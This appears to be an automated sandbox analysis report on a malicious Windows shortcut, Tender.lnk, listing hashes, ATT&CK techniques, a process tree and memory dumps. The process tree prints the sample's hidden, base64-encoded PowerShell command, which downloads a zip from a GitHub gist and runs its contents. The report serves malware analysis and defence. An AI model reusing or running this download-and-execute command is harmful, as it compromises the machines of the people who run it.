71a782edebc5ece85bf46d8e22d82a4d800180fad14221e7320ea224462f1c02

Resubmissions

13/01/2024, 14:39

13/01/2024, 14:28

max time kernel
102s
max time network
141s
platform
windows10-1703_x64
resource
win10-20231215-en
resource tags

arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
submitted
13/01/2024, 14:39

Target

Tender.lnk
Size

3KB
MD5

b47abb53ccbdb42d7e9eafc3de887436
SHA1

6413e2c6099248bbf581975a44ea874e1184739f
SHA256

71a782edebc5ece85bf46d8e22d82a4d800180fad14221e7320ea224462f1c02
SHA512

7d3ae74f713e9c3d335596f94cf4523131f6e05079bf289f9ffed277d3bbc4d2644e48a517ca6593940649bd39eec92c15ea7b8efd323f102ded555867110824

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3696	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 212 wrote to memory of 3696	212	cmd.exe	73
PID 212 wrote to memory of 3696	212	cmd.exe	73

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Tender.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Nop -sta -noni -w hidden -encodedCommand SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAnaHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vSkEzRzNSL2Q5N2MzOWM4ZDAzZWE5ZmE2NzQ0NWZkYmYyMzA1YzQ4L2FyY2hpdmUvNDUwODM1MGNhN2Y5OTAwOGQzZmJjYzMwZDI5MmQ4NDVjNDJjODVhZC56aXAnIC1PdXRGaWxlICdnaXN0cHMuemlwJyA7IEV4cGFuZC1BcmNoaXZlIC1QYXRoICdnaXN0cHMuemlwJyAtRGVzdGluYXRpb25QYXRoICcuJyAtRm9yY2UgOyBJbnZva2UtRXhwcmVzc2lvbiAoR2V0LUNvbnRlbnQgLlxkOTdjMzljOGQwM2VhOWZhNjc0NDVmZGJmMjMwNWM0OC00NTA4MzUwY2E3Zjk5MDA4ZDNmYmNjMzBkMjkyZDg0NWM0MmM4NWFkXGdpc3RmaWxlMS50eHQgLVJhdyk=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3696

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fbkakuto.v5t.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/3696-6-0x0000023345370000-0x0000023345392000-memory.dmp

Filesize
136KB

Download
memory/3696-8-0x00007FFD38A10000-0x00007FFD393FC000-memory.dmp

Filesize
9.9MB

Download
memory/3696-10-0x00000233453E0000-0x00000233453F0000-memory.dmp

Filesize
64KB

Download
memory/3696-11-0x00000233453E0000-0x00000233453F0000-memory.dmp

Filesize
64KB

Download
memory/3696-14-0x00000233458D0000-0x0000023345946000-memory.dmp

Filesize
472KB

Download
memory/3696-35-0x00000233453E0000-0x00000233453F0000-memory.dmp

Filesize
64KB

Download
memory/3696-39-0x00007FFD38A10000-0x00007FFD393FC000-memory.dmp

Filesize
9.9MB

Download